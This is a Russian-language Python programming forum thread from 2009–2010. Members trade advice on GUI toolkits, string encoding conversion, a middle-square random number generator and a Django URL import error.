P.S. нужно узнать про работу с 2d графикой и тачскрином.
Omegа, конкретно по pys60 можешь посмотреть здесь:
http://mobilenin.com/pys60/menu.htm
http://wiki.forum.nokia.com/index.php/Introduction_to_PyS60
login999
18.12.2009, 10:08
Нашел тебе статью с примерчиком:
http://h8-self.livejournal.com/6590.html
ps. честно говоря я в pygtk не понимаю ничего)) просто сталкивался давно с такой проблемой на wxpython. так вот. возможно в твоем коде нужно вызвать метод gtk.gdk.threads_init()?
На wxpython есть пару гуев - хз, никогда не инициализировал потоки - сразу и тупо запускал да и все. Задумался о переходе на pyQt. Не нравится лицензией, зато ВОЗМОЖНО избавлюсь от проблем gtk(Arch, Ubuntu). На Арче - вылетало приложение нафиг при любой попытке изменить фрейм, на Ubuntu реже, но слетает с сегфолтом (плюс в консоле по жизни ошибки).
Вопрос на засыпку - как себя ведёт pyQt ?
Вопрос на засыпку - как себя ведёт pyQt ?
Да нормально себя ведет, по крайней мере пока нареканий нету.
Задумался о переходе на pyQt. Не нравится лицензией
Что именно тебя не устраивает в лицензии? )
login999
18.12.2009, 13:02
Да нормально себя ведет, по крайней мере пока нареканий нету.
Что именно тебя не устраивает в лицензии? )
Цена в 350 английских фунтов за версию для использования в разработке проприетарного ПО.
login999, дык на wx их и не надо инициализировать - просто создаешь и запускаешь. насчет корявости гтк - не замечал =/
насчет qt - мне не нравится. какие-то QString вместо обычных строк и т.д. в общем кому что ближе.меня сейчас wx вполне устраивает.
login999
18.12.2009, 17:47
Если чессн, то QT мне нравится тем, за что я ненавижу CURL - универсальностью. ИМХО это то, что можно выучить один раз, а потом использовать из разных языков, так как привязки есть под очень многие. Это немаловажный плюс ИМХО. В принципе wxwindows тоже много к чему привязан. Но хз. Я сейчас опять таки засматриваюсь в сторону QT из-за того, что раньше в нём ненавидел - "лишних" классов. Заебусь описывать сколько у меня было гемора для поддержки соксов в приложениях. Думаю достаточно будет сказать, что я этого так и не добился (CURL фтопку, Socksipy-кусок хавна)... QT же решает эту проблему. Мне уже стало наплевать на "Python-way" и использование QT исключительно как гуя и восторжение на тему "Ах как *****то, что у питона очень дохера сторонних модулей." На проверку оказывается что нормально и стабильно работают исключительно крупные фреймворки (либо к ним относящиеся), все остальные "сторонние" это говно, которого поискать еще нужно. Про стандартную библиотеку молчу - она всегда на высоте (хотя и некоторых моментов не хватает, но идеального не бывает)
Вот как-то так.
Прост QT это "вещь в себе"
login999, выговорился :) соглашусь насчет либ - найти что-то серьезное очень трудно. такое ощущение, что либы пишут криворукие дядьки) радуют только довольно популярные библитеки (ну стандартная библиотека - это естественно). из постоянных использую, наверное, только wxpython, django, pytils (удобно для сайтов на джанго когда нужно измеянть текст по падежам), может еще chardet (определяет кодировку строки). часто гораздо проще написать свое, чем разбираться с еле рабочим кодом сторонних либ.
ворвусь я в ваш пылкий спор со своим не очень сложным вопросом
Значит читаю сайт вот так
conn = urllib2.Request(host, post, headers)
data = urllib2.urlopen(conn).read()
data содержит англ. теги и строку на русском тексте, при выводе на консоль вместо русских букв получаю кракозябру. В начале скрипта выставлена кодировка # -*- coding: utf-8 -*-
так что напрашивается мнения что я получаю строку в CP1251, но преобразовать ее к utf не получается :( как нужно это делать ?
PS. бугагашеньки
data.decode("cp1251").encode('utf8')
login999
19.12.2009, 17:26
ворвусь я в ваш пылкий спор со своим не очень сложным вопросом
Значит читаю сайт вот так
data содержит англ. теги и строку на русском тексте, при выводе на консоль вместо русских букв получаю кракозябру. В начале скрипта выставлена кодировка # -*- coding: utf-8 -*-
так что напрашивается мнения что я получаю строку в CP1251, но преобразовать ее к utf не получается :( как нужно это делать ?
PS. бугагашеньки
data.decode("cp1251").encode('utf8')
shnyaga.py
http://dumpz.org/15364/
Кто знает... ?
...
gamma_N=round(float(gamma_0**2),8)
#print '%F' %(gamma_N)
i=i+1
ls=str(gamma_N)
ls=ls[2:9]
ls='0.'+ls
print '%F' %(float(ls))
lch=round(float(ls)**2,8)
gamma_0=lch
print ''
...
Это часть метода серединных квадратов... проблема в том, что после получения среза строки, необходимо преобразовать строку во флоат, но как выяснилось переменная получает число в экспоненциальном виде: 0.5e+006 , что нить такое.. ну и следовательно не получается перегнать во флоат.. Как избежать такой формы записи?! надо чтоб было 0.0000005 например, без всяких e....
TRX.new Зачем вы используете флоат, который А - неточный, Б - имеет ограничение на длину? Господи, еще и преобразование в строку >.<
# -*- coding: utf-8 -*-
import random
from math import floor
rand_array = []
count = 20000;
divider = 0xFFFFFFFF;
def gen_random_array(seed):
i = 0
while i<20000:
tmp = seed;
for i in xrange(20001):
tmp = tmp*tmp >> 16 & divider;
if tmp==0:
tmp = random.randint(1,divider-1)
seed = random.randint(1, divider)
break
if tmp in rand_array:
if i>1000: print 'Atata', str(i), str(seed)
seed = random.randint(1, divider)
break
rand_array.append(tmp)
print 'Seed: %d ' % (seed)
return rand_array
## Затравка 3455982478 - дает хороший результат для критерия хи квадрат
## Получаем массив целых чисел без повторов
rand_arr = gen_random_array(3455982478)
## Преобразуем к диапазону от 0 до 1 с равномерным распределением
for val in rand_array:
print "%F\r\n" % (val / float(divider+1))
TRX.new Зачем вы используете флоат, который А - неточный, Б - имеет ограничение на длину? Господи, еще и преобразование в строку >.<
# -*- coding: utf-8 -*-
import random
from math import floor
rand_array = []
count = 20000;
divider = 0xFFFFFFFF;
def gen_random_array(seed):
i = 0
while i<20000:
tmp = seed;
for i in xrange(20001):
tmp = tmp*tmp >> 16 & divider;
if tmp==0:
tmp = random.randint(1,divider-1)
seed = random.randint(1, divider)
break
if tmp in rand_array:
if i>1000: print 'Atata', str(i), str(seed)
seed = random.randint(1, divider)
break
rand_array.append(tmp)
print 'Seed: %d ' % (seed)
return rand_array
## Затравка 3455982478 - дает хороший результат для критерия хи квадрат
## Получаем массив целых чисел без повторов
rand_arr = gen_random_array(3455982478)
## Преобразуем к диапазону от 0 до 1 с равномерным распределением
for val in rand_array:
print "%F\r\n" % (val / float(divider+1))
Спасибо! Буду разбираться... не все тут понятно конечно..
Вот такой вот вопрос
Начал я учить этот очень интересный язык но вот мои знания в программировании скудны , поэтому решил спросить у вас как у людей имеющих в этом опыт.
Ну как начал пока что читаю всё что только попадается связаное с этим языком для того чтоб понять то ли это то что мне нужно !
Немного кодил на VB.NET потом Pascal но это не моё ищу ищу как говорится рыба ищет , где глубже а человек где лучше :) в моём случае я ищу где интересней и больше возможностей , не ищу легких путей учится мне даже нравится !.....всё и так много буковак.......
Так вот вопрос насколько этот язык Pyton является самодостаточным ?? Просто читая форумы статьи вижу что его люди используют только в Веб программировании , Cайтостроения и т.д и тп
Интересуюсь такими программами как ( AddNews может кто знает программы для добавления новостей на сайты DLE) возможно писать на нём подобные ,также очень интересны разновидные Боты для игр и cами Игры точней как это всё делается т.д...
Да и вобще как язык в целом интересно что вы пишете на нём кромме Веб , cайтостроение мне тоже очень интересно но хочется узнать разные стороны его применения !
Знаю что на неё получаются очень хорошие Игрухи , и видел что на писан на нём такой мега проект как BLENDER.ORG-Который в своё времмя я очень успешно юзал , но вот говорят питон там не очень поучаствовал ну как самые жизненно важные вставки кода написаны на C++
Вообщем вот , сильно не кидайтесь камнями это только то что я пока за короткий срок смог выяснить о этом языке буду признателен если вы меня исправите там где я ошибаюсь и раскажете что то новенькое !
на нем почти все можно делать, как и на других. Следует только отдавать себе отчет что это интерпретируемый язык
интерпретируемый это как я понял у пользователя программы должен стоять Python !
Правильно поправте? пока только читаю введения в книгах выбираю хорошую книгу уже вот уже подобрал пару книг думаю сегодня начну уже
Выбрал Mark lutz , пока что на нём наверно остановлюсь хоть и огромная почти 900 страниц но это именно учебник для новичков там только Азы
интерпретируемый это как я понял у пользователя программы должен стоять Python !
Правильно поправте? пока только читаю введения в книгах выбираю хорошую книгу уже вот уже подобрал пару книг думаю сегодня начну уже
Выбрал Mark lutz , пока что на нём наверно остановлюсь хоть и огромная почти 900 страниц но это именно учебник для новичков там только Азы
изучаем python 3-е издание ? Если да,то в книга в самый раз.
Каким способом можно определить кодировку файла в python?
Знаю про chardet,может есть ещё что-нибудь ?
gold-goblin
02.01.2010, 02:47
Rushter На просторах интернета встречал модуль для этих дел назывался вроде Universal Encoding.
Или для чего тебе это нужно? может проще в юникод а потом в ту которую надо?
Вопросик: Что лучше почитать про джанго (Django) начиная с его азов?
alextoun
02.01.2010, 03:17
http://www.djbook.ru/
я начинал с этого и тебе рекомендую
gold-goblin
02.01.2010, 03:20
Alextoun большое спасибо! то что и искал =)
gold-goblin
02.01.2010, 04:45
Life пиши тут + номер хотяб дал....
Проблема с django...
Читая этот учебник http://www.djbook.ru/ наткнулся на проблемму при привязки url...
тык (http://www.djbook.ru/ch03.html#djangobook.chap03.first-page.first-urls) а именно с этим:
from django.conf.urls.defaults import *
from mysite.views import hello
urlpatterns = patterns('',
('^hello/$', hello),
)
(Следует отметить, что мы убрал закомментированные строчки для ясности. Вы можете оставить эти строки, если вам захочется.)
Мы сделали следующие изменения:
*
Сначала мы проимпортировали представление hello из его модуля — mysite/views.py, которое преобразовалось в mysite.views. [QUOTE]
Я так и скопировал, при запросе 127.0.0.1:8000/hello/ вываливается ошибка:
[QUOTE]ImportError at /hello/
No module named mysite.views
Request Method: GET
Request URL: http://127.0.0.1:8000/hello/
Exception Type: ImportError
Exception Value:
No module named mysite.views
Exception Location: C:\projekt-me\megaproject\..\megaproject\urls.py in <module>, line 2
Python Executable: C:\Python27\python.exe
Python Version: 2.7.0
Python Path: ['C:\\projekt-me\\megaproject', 'C:\\WINDOWS\\system32\\python27.zip', 'C:\\Python27\\DLLs', 'C:\\Python27\\lib', 'C:\\Python27\\lib\\plat-win', 'C:\\Python27\\lib\\lib-tk', 'C:\\Python27', 'C:\\Python27\\lib\\site-packages']
что то мне говарит что надо прописать модуль (views.py)в ос патч, так ли это?
gold-goblin
02.01.2010, 23:39
Я был прав.. Все дело в том что джано не прописала сус патч, пришлось писать в ручную =)...
Не подскажете почему джанго сама это не сделала?
login999
03.01.2010, 18:10
Я был прав.. Все дело в том что джано не прописала сус патч, пришлось писать в ручную =)...
Не подскажете почему джанго сама это не сделала?
Она всё сделала правильно, эт ты чего-то накосячил :)
Все эти models.py, views.py и т.д. они должны лежать в каталоге проекта. Она ж не просто так MVC...
П.С. Не нужно нихрена впихивать в sys.path.
login999
03.01.2010, 18:11
Каким способом можно определить кодировку файла в python?
Знаю про chardet,может есть ещё что-нибудь ?
Запрос у юзера - самый нормальный вариант.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot